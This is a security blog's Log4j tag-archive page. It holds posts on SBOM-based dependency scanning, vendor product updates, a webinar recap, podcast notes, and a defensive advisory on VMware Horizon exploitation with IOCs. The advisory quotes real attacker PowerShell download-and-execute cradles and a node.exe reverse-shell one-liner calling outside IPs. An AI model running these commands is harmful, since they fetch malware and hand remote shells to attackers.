Tag Archives: log4j

Identify Java nested dependencies with Amazon Inspector SBOM Generator

2024-02-12 Chi Tran

Post Syndicated from Chi Tran original https://aws.amazon.com/blogs/security/identify-java-nested-dependencies-with-amazon-inspector-sbom-generator/

Amazon Inspector is an automated vulnerability management service that continually scans Amazon Web Services (AWS) workloads for software vulnerabilities and unintended network exposure. Amazon Inspector currently supports vulnerability reporting for Amazon Elastic Compute Cloud (Amazon EC2) instances, container images stored in Amazon Elastic Container Registry (Amazon ECR), and AWS Lambda.

Java archive files (JAR, WAR, and EAR) are widely used for packaging Java applications and libraries. These files can contain various dependencies that are required for the proper functioning of the application. In some cases, a JAR file might include other JAR files within its structure, leading to nested dependencies. To help maintain the security and stability of Java applications, you must identify and manage nested dependencies.

In this post, I will show you how to navigate the challenges of uncovering nested Java dependencies, guiding you through the process of analyzing JAR files and uncovering these dependencies. We will focus on the vulnerabilities that Amazon Inspector identifies using the Amazon Inspector SBOM Generator.

The challenge of uncovering nested Java dependencies

Nested dependencies in Java applications can be outdated or contain known vulnerabilities linked to Common Vulnerabilities and Exposures (CVEs). A crucial issue that customers face is the tendency to overlook nested dependencies during analysis and triage. This oversight can lead to the misclassification of vulnerabilities as false positives, posing a security risk.

This challenge arises from several factors:

Volume of vulnerabilities — When customers encounter a high volume of vulnerabilities, the sheer number can be overwhelming, making it challenging to dedicate sufficient time and resources to thoroughly analyze each one.
Lack of tools or insufficient tooling — There is often a gap in the available tools to effectively identify nested dependencies (for example, mvn dependency:tree, OWASP Dependency-Check). Without the right tools, customers can miss critical dependencies hidden deep within their applications.
Understanding the complexity — Understanding the intricate web of nested dependencies requires a specific skill set and knowledge base. Deficits in this area can hinder effective analysis and risk mitigation.

Overview of nested dependencies

Nested dependencies occur when a library or module that is required by your application relies on additional libraries or modules. This is a common scenario in modern software development because developers often use third-party libraries to build upon existing solutions and to benefit from the collective knowledge of the open-source community.

In the context of JAR files, nested dependencies can arise when a JAR file includes other JAR files as part of its structure. These nested files can have their own dependencies, which might further depend on other libraries, creating a chain of dependencies. Nested dependencies help to modularize code and promote code reuse, but they can introduce complexity and increase the potential for security vulnerabilities if they aren’t managed properly.

Why it’s important to know what dependencies are consumed in a JAR file

Consider the following examples, which depict a typical file structure of a Java application to illustrate how nested dependencies are organized:

Example 1 — Log4J dependency

MyWebApp/
|-- mywebapp-1.0-SNAPSHOT.jar
|   |-- spring-boot-3.0.2.jar
|   |   |-- spring-boot-autoconfigure-3.0.2.jar
|   |   |   |-- ...
|   |   |   |   |-- log4j-to-slf4j.jar

This structure includes the following files and dependencies:

mywebapp-1.0-SNAPSHOT.jar is the main application JAR file.
Within mywebapp-1.0-SNAPSHOT.jar, there’s spring-boot-3.0.2.jar, which is a dependency of the main application.
Nested within spring-boot-3.0.2.jar, there’s spring-boot-autoconfigure-3.0.2.jar, a transitive dependency.
Within spring-boot-autoconfigure-3.0.2.jar, there’s log4j-to-slf4j.jar, which is our nested Log4J dependency.

This structure illustrates how a Java application might include nested dependencies, with Log4J nested within other libraries. The actual nesting and dependencies will vary based on the specific libraries and versions that you use in your project.

Example 2 — Jackson dependency

MyFinanceApp/
|-- myfinanceapp-2.5.jar
|   |-- jackson-databind-2.9.10.jar
|   |   |-- jackson-core-2.9.10.jar
|   |   |   |-- ...
|   |   |-- jackson-annotations-2.9.10.jar
|   |   |   |-- ...

This structure includes the following files and dependencies:

myfinanceapp-2.5.jar is the primary application JAR file.
Within myfinanceapp-2.5.jar, there is jackson-databind-2.9.10.1.jar, which is a library that the main application relies on for JSON processing.
Nested within jackson-databind-2.9.10.1.jar, there are other Jackson components such as jackson-core-2.9.10.jar and jackson-annotations-2.9.10.jar. These are dependencies that jackson-databind itself requires to function.

This structure is an example for Java applications that use Jackson for JSON operations. Because Jackson libraries are frequently updated to address various issues, including performance optimizations and security fixes, developers need to be aware of these nested dependencies to keep their applications up-to-date and secure. If you have detailed knowledge of where these components are nested within your application, it will be easier to maintain and upgrade them.

Example 3 — Hibernate dependency

MyERPSystem/
|-- myerpsystem-3.1.jar
|   |-- hibernate-core-5.4.18.Final.jar
|   |   |-- hibernate-validator-6.1.5.Final.jar
|   |   |   |-- ...
|   |   |-- hibernate-entitymanager-5.4.18.Final.jar
|   |   |   |-- ...

This structure includes the following files and dependencies:

myerpsystem-3.1.jar as the primary JAR file of the application.
Within myerpsystem-3.1.jar, hibernate-core-5.4.18.Final.jar serves as a dependency for object-relational mapping (ORM) capabilities.
Nested dependencies such as hibernate-validator-6.1.5.Final.jar and hibernate-entitymanager-5.4.18.Final.jar are crucial for the validation and entity management functionalities that Hibernate provides.

In instances where MyERPSystem encounters operational issues due to a mismatch between the Hibernate versions and another library (that is, a newer version of Spring expecting a different version of Hibernate), developers can use the detailed insights that Amazon Inspector SBOM Generator provides. This tool helps quickly pinpoint the exact versions of Hibernate and its nested dependencies, facilitating a faster resolution to compatibility problems.

Here are some reasons why it’s important to understand the dependencies that are consumed within a JAR file:

Security — Nested dependencies can introduce vulnerabilities if they are outdated or have known security issues. A prime example is the Log4J vulnerability discovered in late 2021 (CVE-2021-44228). This vulnerability was critical because Log4J is a widely used logging framework, and threat actors could have exploited the flaw remotely, leading to serious consequences. What exacerbated the issue was the fact that Log4J often existed as a nested dependency in various Java applications (see Example 1), making it difficult for organizations to identify and patch each instance.
Compliance — Many organizations must adhere to strict policies about third-party libraries for licensing, regulatory, or security reasons. Not knowing the dependencies, especially nested ones such as in the Log4J case, can lead to non-compliance with these policies.
Maintainability — It’s crucial that you stay informed about the dependencies within your project for timely updates or replacements. Consider the Jackson library (Example 2), which is often updated to introduce new features or to patch security vulnerabilities. Managing these updates can be complex, especially when the library is a nested dependency.
Troubleshooting — Identifying dependencies plays a critical role in resolving operational issues swiftly. An example of this is addressing compatibility issues between Hibernate and other Java libraries or frameworks within your application due to version mismatches (Example 3). Such problems often manifest as unexpected exceptions or degraded performance, so you need to have a precise understanding of the libraries involved.

These examples underscore that you need to have deep visibility into JAR file contents to help protect against immediate threats and help ensure long-term application health and compliance.

Existing tooling limitations

When analyzing Java applications for nested dependencies, one of the main challenges is that existing tools can’t efficiently narrow down the exact location of these dependencies. This issue is particularly evident with tools such as mvn dependency:tree, OWASP Dependency-Check, and similar dependency analysis solutions.

Although tools are available to analyze Java applications for nested dependencies, they often fall short in several key areas. The following points highlight common limitations of these tools:

Inadequate depth in dependency trees — Although other tools provide a hierarchical view of project dependencies, they often fail to delve deep enough to reveal nested dependencies, particularly those that are embedded within other JAR files as nested dependencies. Nested dependencies are repackaged within a library and aren’t immediately visible in the standard dependency tree.
Lack of specific location details — These tools typically don’t offer the granularity needed to pinpoint the exact location of a nested dependency within a JAR file. For large and complex Java applications, it may be challenging to identify and address specific dependencies, especially when they are deeply embedded.
Complexity in large projects — In projects with a vast and intricate network of dependencies, these tools can struggle to provide clear and actionable insights. The output can be complicated and difficult to navigate, leaving customers without a clear path to identifying critical dependencies.

Address tooling limitations with Amazon Inspector SBOM Generator

The Amazon Inspector SBOM Generator (Sbomgen) introduces a significant advancement in the identification of nested dependencies in Java applications. Although the concept of monitoring dependencies is well-established in software development, AWS has tailored this tool to enhance visibility into the complexities of software compositions. By generating a software bill of materials (SBOM) for a container image, Sbomgen provides a detailed inventory of the software installed on a system, including hidden nested dependencies that traditional tools can overlook. This capability enriches the existing toolkit, offering a more granular and actionable understanding of the dependency structure of your applications.

Sbomgen works by scanning for files that contain information about installed packages. Upon finding such files, it extracts essential data such as package names, versions, and other metadata. Then it transforms this metadata into a CycloneDX SBOM, providing a structured and detailed view of the dependencies.

For information about how to install Sbomgen, see Installing Amazon Inspector SBOM Generator (Sbomgen)

A key feature of Sbomgen is its ability to provide explicit paths to each dependency.

For example, given a compiled jar application MyWebApp-0.0.1-SNAPSHOT.jar, users can run the following CLI command with Sbomgen:

./inspector-sbomgen localhost --path /path/to/MyWebApp-0.0.1-SNAPSHOT.jar --scanners java-jar

The output should look similar to the following:

{
  "bom-ref": "comp-11",
  "type": "library",
  "name": "org.apache.logging.log4j/log4j-to-slf4j",
  "version": "2.19.0",
  "hashes": [
    {
      "alg": "SHA-1",
      "content": "30f4812e43172ecca5041da2cb6b965cc4777c19"
    }
  ],
  "purl": "pkg:maven/org.apache.logging.log4j/[email protected]",
  "properties": [
...
    {
      "name": "amazon:inspector:sbom_generator:source_path",
      "value": "/tmp/MyWebApp-0.0.1-SNAPSHOT.jar/BOOT-INF/lib/spring-boot-3.0.2.jar/BOOT-INF/lib/spring-boot-autoconfigure-3.0.2.jar/BOOT-INF/lib/logback-classic-1.4.5.jar/BOOT-INF/lib/logback-core-1.4.5.jar/BOOT-INF/lib/log4j-to-slf4j-2.19.0.jar/META-INF/maven/org.apache.logging.log4j/log4j-to-slf4j/pom.properties"
    }
  ]
}

In this output, the amazon:inspector:sbom_collector:path property is particularly significant. It provides a clear and complete path to the location of the specific dependency (in this case, log4j-to-slf4j) within the application’s structure. This level of detail is crucial for several reasons:

Precise location identification — It helps you quickly and accurately identify the exact location of each dependency, which is especially useful for nested dependencies that are otherwise hard to locate.
Effective risk management — When you know the exact path of dependencies, you can more efficiently assess and address security risks associated with these dependencies.
Time and resource efficiency — It reduces the time and resources needed to manually trace and analyze dependencies, streamlining the vulnerability management process.
Enhanced visibility and transparency — It provides a clearer understanding of the application’s dependency structure, contributing to better overall management and maintenance.
Comprehensive package information — The detailed package information, including name, version, hashes, and package URL, of Sbomgen equips you with a thorough understanding of each dependency’s specifics, aiding in precise vulnerability tracking and software integrity verification.

Mitigate vulnerable dependencies

After you identify the nested dependencies in your Java JAR files, you should verify whether these dependencies are outdated or vulnerable. Amazon Inspector can help you achieve this by doing the following:

Comparing the discovered dependencies against a database of known vulnerabilities.
Providing a list of potentially vulnerable dependencies, along with detailed information about the associated CVEs.
Offering recommendations on how to mitigate the risks, such as updating the dependencies to a newer, more secure version.

By integrating Amazon Inspector into your software development lifecycle, you can continuously monitor your Java applications for vulnerable nested dependencies and take the necessary steps to help ensure that your application remains secure and compliant.

Conclusion

To help secure your Java applications, you must manage nested dependencies. Amazon Inspector provides an automated and efficient way to discover and mitigate potentially vulnerable dependencies in JAR files. By using the capabilities of Amazon Inspector, you can help improve the security posture of your Java applications and help ensure that they adhere to best practices.

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

What’s New in InsightVM and Nexpose: Q1 2022 in Review

2022-04-19 Roshnee Mistry Shah

Post Syndicated from Roshnee Mistry Shah original https://blog.rapid7.com/2022/04/19/whats-new-in-insightvm-and-nexpose-q1-2022-in-review/

What's New in InsightVM and Nexpose: Q1 2022 in Review

The world of cybersecurity never has a dull moment. While we are still recovering from the aftermath of Log4Shell, the recent ContiLeaks exposed multiple vulnerabilities that have been exploited by the Conti ransomware group. It’s critical for your team to identify the risk posed by such vulnerabilities and implement necessary remediation measures. As you will see, the product updates our vulnerability management (VM) team has made to InsightVM and Nexpose in the last quarter will empower you to stay in charge — not the vulnerabilities.

But that’s not all we’ve improved on. We’ve increased the scope of vulnerabilities tracked by incorporating CISA’s known exploited vulnerabilities (KEV) in the Threat Feed, usability enhancements, targeted reporting and scanning, and Log4Shell mitigation checks. And we’ve released our annual Vulnerability Intelligence Report to help you make sense of the vulns that impacted us last year and understand the trends that we will all be facing this year. Our team also offers practical guidance to help the security teams better protect themselves.

Let’s dive into the key feature releases and updates on the vulnerability management front for Q1 2022.

CISA’s KEV list: Detect, prioritize, and meet regulatory compliance

[InsightVM] ContiLeaks Helpful Query to easily detect ContiLeaks vulns and ensure compliance

CISA’s KEV catalog is part of the agency’s binding operative directive that has reporting requirements for federal agencies and civilian contractors. The recent ContiLeaks revealed over 30 vulns that are now a part of CISA’s KEV. While users could always build a query in IVM to identify these vulns, doing so is time-consuming and can be prone to error. The ContiLeaks Helpful Query takes out the manual effort and lets customers easily locate 30+ ContiLeaks vulnerabilities in their environments. When the query is loaded into our Specific Vulnerability Dashboard template, it can give an at-a-glance view of the company’s risk posture as it relates to the Conti threat. In addition to helping customers identify the exploited vulnerabilities in their environment, the update will also help them stay within the bounds of CISA’s operative directive.

What's New in InsightVM and Nexpose: Q1 2022 in Review

[InsightVM] Threat feed dashboard now includes CISA’s KEV catalog

While we are on the topic of CISA, you will be excited to learn that we have expanded the scope of vulnerabilities tracked to incorporate CISA’s KEV catalog in the InsightVM Threat Feed Dashboard, including the Assets With Actively Targeted Vulnerabilities card and the Most Common Actively Targeted Vulnerabilities card. The CISA inclusion makes it easy to see how exposed your organization is to active threats and inform prioritization decisions around remediation efforts.

We have also added a new “CISA KEV (known exploited vulnerability)” vulnerability category to allow for more targeted scanning (i.e. scanning the environment for CISA KEV entries only). You can also use the CISA KEV category to filter scan reports.

Improvements to credentials

[Insight VM and Nexpose] A new credential type to support scanning Oracle Databases by Service Name

InsightVM and Nexpose customers have always been able to scan Oracle databases using SIDs (system identifiers) but were previously unable to provide a Service Name in the credential. This meant a gap in visibility for Oracle databases that could only be accessed via their Service Name. We were not happy with this limitation. Now, you now configure Oracle Database scans to specify a Service Name instead of an SID (you can still use the SID, if you want!) when authenticating. You now have the visibility into a wider range of deployment configurations of Oracle Database and the ability to configure scan using Service Name or SID.

[Insight VM and Nexpose] Automatic Scan Assistant credentials generation

Last year, we introduced Scan Assistant, which alleviates the credential management (for Scan Engine) burden on vulnerability management teams. For the Scan Assistant to communicate with the Scan Engine, it requires digital certificates to be manually created and deployed on both the target assets and the Nexpose / IVM Security Console. Manually creating the public / private key pair is a complex and error-prone process.

With this update, we are taking some more burden off the vulnerability management teams. You can now use the Shared Credentials management UI to automatically generate Scan Assistant credentials. This not only reduces the technical expertise and time required to manage Scan Assistant credentials but also makes for a user-friendly experience for you.

Learn more in our recent blog post on passwordless scanning.

[Insight VM and Nexpose] Log4Shell mitigation checks

The product improvements list would be incomplete without an update on Log4Shell.

If you are vulnerable to Log4Shell, you can edit the JAR files on a system to take out the vulnerable code and thus not get exploited. However, it is difficult to keep a check on this manually. This update adds that extra capability to not only look at the version of Log4j that was present in your environment but also check if it has been mitigated — i.e., if the vulnerable code is removed.

Authenticated scans and Agent-based assessments can now determine whether the JNDILookup class removal mitigation for Log4Shell has been applied to Log4j JAR files on Windows systems. This will reduce the number of reports of the vulnerability on systems that are not exploitable. We also added an Obsolete Software vulnerability check for Log4j 1.x, which will let you find obsolete versions of Log4j in your environment.

Stay in charge

As always, we hope these updates will make it easier for you to stay ahead of vulnerabilities.

It almost felt like the quarter might end on a calm note, but then the world of cybersecurity never has a dull moment. The end of the quarter saw Spring4Shell, another zero-day vulnerability in the Spring Core module of Spring Framework. Learn more about Rapid7 response to this vulnerability and how we are working around the clock to help our customers protect their own environments from Spring4Shell.

Additional reading:

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Log4Shell 2 Months Later: Security Strategies for the Internet’s New Normal

2022-02-17 Jesse Mack

Post Syndicated from Jesse Mack original https://blog.rapid7.com/2022/02/17/log4shell-2-months-later-security-strategies-for-the-internets-new-normal/

Log4Shell 2 Months Later: Security Strategies for the Internet's New Normal

CVE-2021-44228 rules everything around us — or so it seemed, at least, for those breathless days in December 2021 when the full scope of Log4Shell was starting to take hold and security teams were strapped for time and resources as they scoured their organizations’ environments for vulnerable instances of Apache Log4j. But now that the peak intensity around this vulnerability has waned and we’ve had a chance to catch our collective breath, where does the effort to patch and remediate stand? What should security teams be focusing on today in the fight against Log4Shell?

On Wednesday, February 16, Rapid7 experts Bob Rudis, Devin Krugly, and Glenn Thorpe sat down for a webinar on the current state of the Log4j vulnerability. They covered where Log4Shell stands now, what the future might hold, and what organizations should be doing proactively to ensure they’re as protected as possible against exploits.

Laying out the landscape

Glenn Thorpe, Rapid7’s Program Manager for Emergent Threat Response, kicked things off with a recap and retrospective of Log4Shell and why it seemingly set fire to the entire internet for a good portion of December. The seriousness of this vulnerability is due to the coming-together of several key factors, including:

The ability for vulnerable systems to grant an attacker full administrative access
The low level of skill required for exploitation — in many cases, attackers simply have to copy and paste
The attack vector’s capability to run undetected over an encrypted channel
The pervasiveness of the Log4j library, which means vulnerability scanners alone can’t act as complete solutions against this threat

Put all this together, and it’s no surprise that the volume of exploit attempts leveraging the Log4j vulnerability ramped up throughout December 2021 and has continued to spike periodically throughout January and February 2022. By January 10, ransomware using Log4Shell had been observed, and on January 14, Rapid7’s MDR saw mass Log4j exploits in VMware products.

But while there’s certainly been plenty of Log4j patching done, the picture on that front is far from complete. According to the latest CISA data (also here as a daily-updated spreadsheet), there are still 320 cataloged software products that are known to be affected by vulnerable Log4j as of February 16, 2022 — and 1,406 still awaiting confirmation from the vendor.

Log4Shell 2 Months Later: Security Strategies for the Internet's New Normal

Log4j today: A new normal?

So, where does the effort to put out Log4j fires stand now? Devin Krugly, Rapid7’s Practice Advisor for Vulnerability Risk Management, thinks we’re in a better spot than we were in December — but we’re by no means out of the woods.

“We’re effectively out of fire-fighting mode,” said Devin. That means that, at this point, most security teams have identified the affected systems, implemented mitigations, and patched vulnerable versions of Log4j. But because of the complexity of today’s software supply chains, there are often heavily nested dependencies within vendor systems — some of which Log4j may still be implicated in. This means it’s essential to have a solid inventory of vendor software products that may be using Log4j and to ensure those instances of the library are updated and patched.

“Don’t lose that momentum,” Glenn chimed in. “Don’t put that on your post-mortem action list and forget about it.”

This imperative is all the more critical because of a recent uptick in Log4Shell activity. Rapid7’s Chief Data Scientist Bob Rudis laid out some activity detected by the Project Heisenberg honeypot fleet indicating a revival of Log4j activity in early and mid-February, much of it from new infrastructure and scanning hosts that hadn’t been seen before.

Amid this increase in activity, vulnerable instances of Log4j are anything but gone from the internet. In fact, data from Sonatype as of February 16, 2022 indicates 39% of Log4j downloads are still versions vulnerable to Log4Shell.

“We’re going to be seeing Log4j attempts on the internet, on the regular, at a low level, forever,” Bob said. Log4Shell is now in a family with WannaCry and Conficker (yes, that Conficker) — vulnerabilities that are around indefinitely, and which we’ll need to continually monitor for as attackers use them to try to breach our defenses.

Navigating life with Log4Shell

Adopting a defense-in-depth posture in the “new normal” of life with Log4Shell is sure to come with its share of headaches. Luckily, Bob, Devin, and Glenn shared some practical strategies that security teams can adopt to keep their organizations’ defenses strong and avoid some common pitfalls.

Go beyond compensating controls

“My vendor says they’ve removed the JNDI class from the JAR file — does that mean their application is no longer vulnerable to Log4Shell?” This question came up in a few different forms from our webinar audience. The answer from our panelists was nuanced but crystal-clear: maybe for now, but not forever.

Removing the JNDI class is a compensating control — one that provides a quick fix for the vulnerability but doesn’t patch the core, underlying problem via a full update. For example, when you do a backup, you might unknowingly reintroduce the JNDI class after removing it — or, as Devin pointed out, an attacker could chain together a replacement for it.

These kinds of compensating or mitigating controls have their place in a short-term response, but there’s simply no action that can replace the work of upgrading all instances of Log4j to the most up-to-date versions that contain patches for Log4Shell.

“Mitigate for speed, but not in perpetuity,” Glenn recommended.

Find the nooks and crannies

Today’s cloud-centric IT environments are increasingly ephemeral and on-demand — a boost for innovation and speed, but that also means teams can deploy workloads without security teams ever knowing about it. Adopting an “Always Be Scanning” mindset, as Bob put it, is essential to ensure vulnerable instances of Log4j aren’t introduced into your environment.

Continually scanning your internet-facing components is a good and necessary start — but the work doesn’t end there. As Devin pointed out, finding the nooks and crannies where Log4j might crop up is critical. This includes scouring containers and virtual machines, as well as analyzing application and server logs for malicious JNDI strings. You should also ensure your security operations center (SOC) team can quickly and easily identify indicators that your environment is being scanned for reconnaissance into Log4Shell exploit opportunities.

“Involving the SOC team for alerting purposes, if you haven’t already done that, is an absolutely necessity in this case,” said Devin.

Get better at vendor management

It should be clear by now that in a post-Log4j world, organizations must demand the highest possible level of visibility into their software supply chain — and that means being clear, even tough, with vendors.

“Managing stuff on the internet is hard because organizations are chaotic beings by nature, and you’re trying to control the chaos as a security professional,” said Bob. Setting yourself up success in this context means having the highest level of vulnerability possible. After all, how many other vulnerabilities just as bad as Log4Shell — or even worse — might be out there lurking in the corners of your vendors’ code?

The upcoming US government requirements around Software Bill of Materials (SBOM) for vendor procurement should go a long way toward raising expectations for software vendors. Start asking vendors if they can produce an SBOM that details remediation and update of any vulnerable instances of Log4j.

These conversations don’t need to be adversarial — in fact, vendors can be a key resource in the effort to defend against Log4Shell. Especially for smaller organizations or under-resourced security teams, relying on capable third parties can be a smart way to bolster your defenses.

Only you can secure the software supply chain

OK, maybe that subhead is not literally true — a secure software supply chain is a community-wide effort, to which we must all hold each other accountable. The cloud-based digital ecosystem we all inhabit, whether we like it or not, is fundamentally interconnected. A pervasive vulnerability like Log4Shell is an unmistakable reminder of that fact.

It also serves as an opportunity to raise our expectations of ourselves, our organizations, and our partners — and those choices do start at home, with each security team as they update their applications, continually scan their environments, and demand visibility from their vendors. Those actions really do help create a more secure internet for everyone.

So while we’ll be living with Log4Shell probably forever, it’ll be living with us, too. And as scared as you are of the spider, it’s even more scared of your boot.

Want to go more in-depth? Check out the full replay of our webinar, “Log4Shell Two Months Later: Lessons and Insights for Protectors.”

Quick resources:

Bob, Devin, and Glenn mentioned a wealth of handy links in their discussion. Here are those resources for quick, easy reference.

Additional reading:

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

[Security Nation] Mike Hanley of GitHub on the Log4j Vulnerability

2022-01-19 Rapid7

Post Syndicated from Rapid7 original https://blog.rapid7.com/2022/01/19/security-nation-mike-hanley-of-github-on-the-log4j-vulnerability/

[Security Nation] Mike Hanley of GitHub on the Log4j Vulnerability

In our first episode of Security Nation Season 5, Jen and Tod chat with Mike Hanley, Chief Security Officer at GitHub, all about the major vulnerability in Apache’s Log4j logging library (aka Log4Shell). Mike talks about the ins and outs of GitHub’s response to this blockbuster vulnerability and what could have helped the industry deal with an issue of this massive scope more effectively (hint: he drops the SBOM). They also touch on GitHub’s updated policy on the sharing of exploits.

Stick around for our Rapid Rundown, where Tod and Jen talk about Microsoft’s release of emergency fixes for Windows Server and VPN over Martin Luther King Day weekend.

Mike Hanley

Mike Hanley is the Chief Security Officer at GitHub. Prior to GitHub, Mike was the Vice President of Security at Duo Security, where he built and led the security research, development, and operations functions. After Duo’s acquisition by Cisco for $2.35 billion in 2018, Mike led the transformation of Cisco’s cloud security framework and later served as CISO for the company. Mike also spent several years at CERT/CC as a Senior Member of the Technical Staff and security researcher focused on applied R&D programs for the US Department of Defense and the Intelligence Community.

When he’s not talking about security at GitHub, Mike can be found enjoying Ann Arbor, MI with his wife and seven kids.

Show notes

Interview links

Read GitHub’s blog on the Log4j vulnerability, and the follow-up.
Check out GitHub’s Dependabot.
Find out Why Johnny Can’t Encrypt.
Learn about GitHub’s Sponsor Program.
Read about the work going on at OpenSSF.
Delve into Mike’s blog post on GitHub’s exploit code policy.

Rapid Rundown links

Get the info on Microsoft’s emergency fixes for Windows Server and VPN bugs.

Like the show? Want to keep Jen and Tod in the podcasting business? Feel free to rate and review with your favorite podcast purveyor, like Apple Podcasts.

Want More Inspiring Stories From the Security Community?

Subscribe to Security Nation Today

Active Exploitation of VMware Horizon Servers

2022-01-18 Glenn Thorpe

Post Syndicated from Glenn Thorpe original https://blog.rapid7.com/2022/01/18/active-exploitation-of-vmware-horizon-servers/

Active Exploitation of VMware Horizon Servers

This post is co-authored by Charlie Stafford, Lead Security Researcher.

Summary

Attackers are actively targeting VMware Horizon servers vulnerable to Apache Log4j CVE-2021-44228 (Log4Shell) and related vulnerabilities that were patched in December 2021. We’re sharing our observed activities and indicators of compromise (IOCs) related to this activity.

Details

Beginning Friday, January 14, 2022, Rapid7 Managed Detection & Response (MDR) began monitoring a sudden increase in VMware Horizon exploitation. The activity our teams are observing is similar to observed threat activity detailed by NHS Digital. Rapid7 services and research teams expect to see a continued strong upward trend in attacker activity directed at VMware Horizon instances vulnerable to Log4Shell exploits.

Rapid7 customers

Rapid7 InsightIDR and MDR customers: Alerts generated by the following detection rules can assist in identifying successful VMware Horizon exploitation:

Attacker Technique – PowerShell Download Cradles (created: Thursday, January 3, 2019, 15:31:27 UTC)
Suspicious Process – VMWare Horizon Spawns CMD or PowerShell (created: Thursday, January 6, 2022, 14:18:21 UTC)

Rapid7 researchers are currently evaluating the feasibility of adding a VMware Horizon vulnerability check for Nexpose/InsightVM.

We have a dedicated resource page for the Log4j vulnerability, which includes our AttackerKB analysis of Log4Shell containing a proof-of-concept exploit for VMware Horizon.

Recommendations

Patch Immediately: Organizations that still have a vulnerable version of VMware Horizon in their environment should update to a patched version of Horizon on an emergency basis and review the system(s) for signs of compromise. As a general practice, Rapid7 recommends never exposing VMware Horizon to the public internet, only allowing access behind a VPN.

Organizations are advised to proactively block traffic to the IPs/URLs listed in the IOCs section.

Observed activities

Rapid7’s Threat Intelligence and Detection Engineering (TIDE) team has identified five unique avenues that attackers have taken post-exploitation, indicating that multiple actors are involved in this mass exploitation activity.

The most common activity sees the attacker executing PowerShell and using the built-in System.Net.WebClient object to download cryptocurrency mining software to the system.

TIDE has observed the attacker downloading cryptocurrency miners from the following URLs:

http://72.46.52[.]135/mad_micky.bat
http://80.71.158[.]96/xms.ps1
http://101.79.1[.]118/2.ps1

The following is an example PowerShell command from this activity (note that these contents were originally base64 encoded):

$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('http://72.46.52[.]135/mad_micky.bat', $tempfile); & $tempfile

The System.Net.WebClient download cradle has also been used by one unknown actor to deploy a reverse shell based on Invoke-WebRev (https://raw.githubusercontent.com/3v4Si0N/HTTP-revshell/master/Invoke-WebRev.ps1) from http://87.121.52[.]221:443/dd.ps1. Another actor has used it to download a Cobalt Strike backdoor from http://185.112.83[.]116:8080/drv. This backdoor was created using the trial version of Cobalt Strike, meaning it contains the EICAR anti-virus test string which should be identified by any AV vendor.

One actor attempts to use System.Net.WebClient to download a rudimentary backdoor from http://0.tcp.ngrok[.]io:18765/qs.exe. If this method fails, the PowerShell BitsTransfer object is used as a backup download method. In this instance, the actor is using ngrok[.]io URLs. NGrok is a tool that allows a user to tunnel traffic through a NAT or firewall. The backdoor communicates with http://2.tcp.ngrok[.]io:19969/index.php and will execute PowerShell commands received from that host.

Example command from this activity:

$a="http://0.tcp.ngrok[.]io:18765/qs.exe";$b="c:\windows\temp\qs.exe";$c = "c:\users\public\qs.exe";Import-Module BitsTransfer;try{(New-Object System.Net.WebClient).DownloadFile($a, $b);Start-Process -FilePath $b;exit;}catch{};try{Start-BitsTransfer -Source $a -Destination $b;Start-Process -FilePath $b;exit;}catch{};try{(New-Object System.Net.WebClient).DownloadFile($a, $c);Start-Process -FilePath $c;exit;}catch{};try{Start-BitsTransfer -Source $a -Destination $c;Start-Process -FilePath $c;exit;}catch{}

The final method TIDE has observed at Rapid7 customers involves the attacker using the copy of Node included with the VMWare server at C:\Program Files\VMware\VMware View\Server\appblastgateway\node.exe. Node is used to execute a small snippet of JavaScript code that establishes a reverse shell to 146.59.130.58:

C:\"Program Files"\VMware\"VMware View"\Server\appblastgateway\node.exe -r net -e "sh = require('child_process').exec('cmd.exe');var client = new net.Socket();client.connect(4460, '146.59.130.58', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});"

Indicators of compromise (IOC)

The full list of IOCs that TIDE has observed related to this activity is as follows:

72.46.52[.]135
- mad_micky.bat
- 58e22726592ec5ab6ca49eda2fdb7017
80.71.158[.]96
- xms.ps1
- e397087edf21ad9da907b595691ce15e
101.79.1[.]118
- 2.ps1
- 6422ede9aadd1a768cb57fe06c1155ad
87.121.52[.]221
- dd.ps1
- f7d5a47321e436fe33e03c4dbf29bd92
185.112.83[.]116
- drv
- 00a4e6f11d2dae5146995aa489292677
0.tcp.ngrok[.]io:18765
2.tcp.ngrok[.]io:19969
- qs.exe
- 1fcf790cc9c66794ae93c114c61b412e
146.59.130.58

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Log4Shell Strategic Response: 5 Practices for Vulnerability Management at Scale

2022-01-07 Joshua Harr

Post Syndicated from Joshua Harr original https://blog.rapid7.com/2022/01/07/log4shell-strategic-response-5-practices-for-vulnerability-management-at-scale/

Log4Shell Strategic Response: 5 Practices for Vulnerability Management at Scale

In today’s cybersecurity world, risks evolve faster than we can remediate them. To meet our goals and become resilient to these fast changes, we need the right balance of automation and human interaction. Enabling rapid response for protecting information systems is paramount, but how does a business reach this level of reaction?

How can organizations maintain a standard of excellence to their responses in high-risk situations?

Where do you even begin to respond to a critical vulnerability like the one in Apache’s Log4j Java library (a.k.a. Log4Shell)?

Most importantly, how do we transform the tactical actions that need to take place into an effective strategy to scale?

1. Empower personnel

The personnel with the knowledge about your various solutions must be empowered to make the decisions necessary to address your company’s information technology needs. If those team members don’t feel they can make those decisions, then they will defer to management — but managers may not know the intricacies of the solutions and could create a natural bottleneck, since there are going to be more decision points than managers to make decisions. Providing personnel with policy documents with uniform criteria for evaluating the risk these new vulnerabilities present, the ways to respond, and the time expectations is paramount for a timely resolution.

In a typical risk resolution process, there are many gates to safeguard our systems. This helps ensure that whatever change happens increases the solution’s confidentiality, integrity, or availability rather than diminishing it. However, a situation like Log4Shell needs to be treated like an incident response activity to quickly address the risk. Create a task force to effectively answer the important questions like:

How do we find vulnerable systems?
Which systems are vulnerable?
What options are there for a fix? One size may not fit all.
Who is going to track changes?
Who is going to validate the fix is in place?

Utilizing a strong incident response procedure to answer all these questions will assist with prioritization and remediation to an acceptable level of risk.

2. Promote visibility

Any standard vulnerability management lifecycle process begins with identifying affected systems to assess and evaluate the scope of a vulnerability’s presence on the network. The approach should utilize both proactive and reactive efforts through a combination of tools and well-documented processes to streamline and scale the response effectively.

